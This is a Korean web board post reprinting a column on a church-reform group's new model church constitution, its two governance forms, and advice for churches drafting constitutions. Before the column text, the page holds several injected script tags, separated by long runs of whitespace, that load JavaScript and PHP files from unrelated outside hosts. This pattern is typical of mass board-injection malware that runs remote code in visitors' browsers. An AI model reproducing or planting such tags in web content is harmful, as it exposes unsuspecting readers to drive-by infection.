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칼럼 [백종국 칼럼] 새로운 모범정관을 내며[뉴조1/25]

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작성자 by 관리자 / 작성일07-02-20 15:32 / 조회 5,136 / 댓글 0

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    교회개혁실천연대(이하 개혁연대)는 지난 1월 20일 서울두레교회에서 개최된 제5차 정기총회에서 개선된 모범정관을 발표하였다. 주요 개선 사항은 기존의 모범정관을 ‘사역자회의형’으로 지칭하고, 새로운 ‘당회형’ 모범정관을 제공한 것이다. 이는 2003년 10월 25일의 제2차 총회에서 발표되어 한국교회 개혁의 새로운 이정표를 세우고 있는 ‘모범정관’을 한국교회의 본질 회복과 부흥에 더욱 적합하도록 발전시키는 데 그 목적이 있다. 

개혁연대의 모범정관갖기운동은 다음 세 가지 점에서 어쩌면 당연한 논리적 귀결이었다.  첫째, 개신 교회의 기본 단위는 개체 교회이지만 한국의 개신교단들은 거의 가톨릭 수준으로 조직을 운영하고 있다는 점이다. 우리는 이를 ‘개신교의 사제주의화’라고 부르고 있다. 이 때문에 개체 교회들의 협의체가 되어야 할 광대회의체들이 ‘상회’로 변하였고 이 상회를 장악하기 위한 세속적 암투와 갈등이 교회를 분열시켰다. 개체 교회들이 자신들의 정관을 가지므로 그 정체성을 더 확실히 하고 광대회의체들을 제자리로 돌려놓는 것이 바람직하다.

둘째, 우리나라의 민법체제가 개체 교회의 정관을 요구하고 있었으나 이의 부재로 말미암아 심각한 분규에 휘말리고 있다는 점이다. 교회는 법인 혹은 법인 아닌 사단으로 법적행위자가 될 수 있다. 그러나 총유로 간주되는 교회의 재산에 대해 법적 효력을 가진 정관이 없는 상태에서 발생하는 구성원 간의 분규는 세속 법원조차도 해결해 줄 수가 없다. 결국은 세속적 정치 술수나 물리적 폭력에 의한 비성경적 해결을 시도하는 모습들이 종종 목격된다.  민법은 개체 교회에게 정관을 요구하고 있으며, 분규가 발생하는 경우에 개교회의 정관은 소위 교단 헌법이라 부르는 교회 간의 협약보다 우선한다. 

셋째, 정관을 갖되 더 성경적인 정관을 가지는 게 바람직하다는 점이다. 우리에게 광대회의체들이 존재하는 이유는 교리의 순수성을 지키고 교회의 일치를 이루기 위함이다. 만일 개체 교회들이 제멋대로 정관을 작성하게 되면 교회의 일치는 요원하고 이로 인한 갈등 또한 만만치 않을 것이다. 그러므로 개혁주의 신앙의 원칙을 유지하고 교회의 일치를 이룰 수 있는 모범적 정관 모형이 필요하다. 문제는 현존하는 교단의 헌법들이 사제주의화로 인해 이미 비판의 대상일 뿐 아니라 이해관계의 격돌로 말미암아 개선의 가능성도 요원하다는 사실이다. 이러한 인식을 바탕으로 개혁연대는 장기간에 걸친 연구 끝에 한국교회가 가질만한 모범정관을 제출하였다.

개혁연대가 추진하는 모범정관은 한국교회에 직분의 임기제와 민주적 의사 결정 구조 및 투명한 재정 운영 체제를 도입하는 데 초점을 맞추고 있었다. 신학적인 관점으로 정리하자면, 교회의 주권, 복음적 분업, 양심의 자유라는 개혁주의 3대 원칙에 맞추어 교회를 구성하고, 목사․장로․집사의 3대 직분을 성경적 원칙대로 회복하여 교회를 어떤 특정한 인간이 아니라 그리스도만을 주인으로 모시는 복음적 분업 체제로 환원하는 것이 그 핵심이다.

모범정관의 기본 틀은 ‘사역자회의형’으로 목양회장과 장로회장, 집사회장 그리고 각 부 부장들이 참여하는 사역자회의가 교회를 운영하는 최고 집행 기구로 되어 있다. 간혹 ‘운영위원회’라는 명칭으로 사용되기도 하는데 목사의 목회 활동, 장로의 치리 활동, 집사들의 행정 활동이 균형이 잘 잡히도록 고안되었다.

새로이 추가된 ‘당회형’은 목양 회원과 장로 회원 및 각 부 부장으로 구성된 당회가 중심적 역할을 하는 것으로 기존의 당회원 즉 목사와 장로들이 교회 운영의 주도적 역할을 하는 형태에다 제직회에서 선출한 각 부 부장이 함께 참여하는 구조를 가지고 있다. 이미 적지 않은 교회들에서 ‘확대 당회’ 혹은 ‘열린 당회’라는 명칭으로 도입하고 있다.

이번 모범정관의 ‘당회형’ 추가는 모범정관의 기본 노선을 유지하면서도 이 운동을 강화하기 위한 현실적이고 유연한 대처라고 볼 수 있다. 원칙으로 보아 당회형은 사역자회의형으로 가기 위한 중간 단계로 볼 수 있고, 이것이 정착되어지면 더 자연스럽게 사역자회의형으로 갈 수 있다. 당회형의 추가는 모범정관에 대한 일각의 두려움을 불식시키고 더 많은 교회들이 모범정관을 가질 뿐만 아니라 한국교회의 일치를 향해 한걸음 더 나가도록 촉구하는 데 그 목적이 있다.

정관 제정 시 유의 사항

이미 수많은 교회들이 모범정관을 참조하여 자신들의 정관을 제정하였거나 혹은 제정 중이다. 이러한 상황을 고려하여 몇 가지 필수불가결한 현실적 조언을 제공하지 않을 수 없다. 

첫째는 가급적 모범정관의 틀을 유지하는 게 좋다는 점이다. 정관의 구조는 성경적이어야 하며 내부적 논리가 일치해야 한다. 개체 교회의 상황을 고려하여 수정하는 것은 좋으나 이 수정이 정관이 성경적 원리에서 떠나거나 내부적 논리의 불일치를 초래하면 곤란하다. 어떤 교회는 개척하신 목사님에게 전권을 부여하거나, 십여 분의 초기 신자들의 교회재산 소유권을 명시하기도 하는 데 이러한 형태는 매우 우려스러운 일이다.

둘째는 교회가 평안할 때 충분한 시간을 두고 서로의 합의에 의해 정관 작업을 하는 게 좋다. 분규가 생기고 나서야 정관을 제정하려면 여러 가지 오해로 말미암아 공동체의 동의를 얻기가 힘들다. 물론 새로운 교회를 개척하거나 분규가 끝나고 새로운 체제를 구성할 때는 정관의 제정을 선행하는 게 마땅하다.

마지막으로 당부할 말은 모범정관을 가졌다고 해서 모든 게 이루어진 것이 아니다. 이 정관의 정신대로 운영하는 게 중요하다. 이 정관을 운영하는 인간이 성령으로 거듭나지 않으면 아무리 좋은 정관을 가졌다고 해도 제대로 운영될 리가 없다. 제도 개혁은 필수이지만, 궁극적으로 의식 개혁이 불가피하다. 단지 후자를 빙자하여 전자를 소홀히 하거나 무시하는 오류를 범하지 않기를 바랄 뿐이다.

백종국/ 경상대학교 교수
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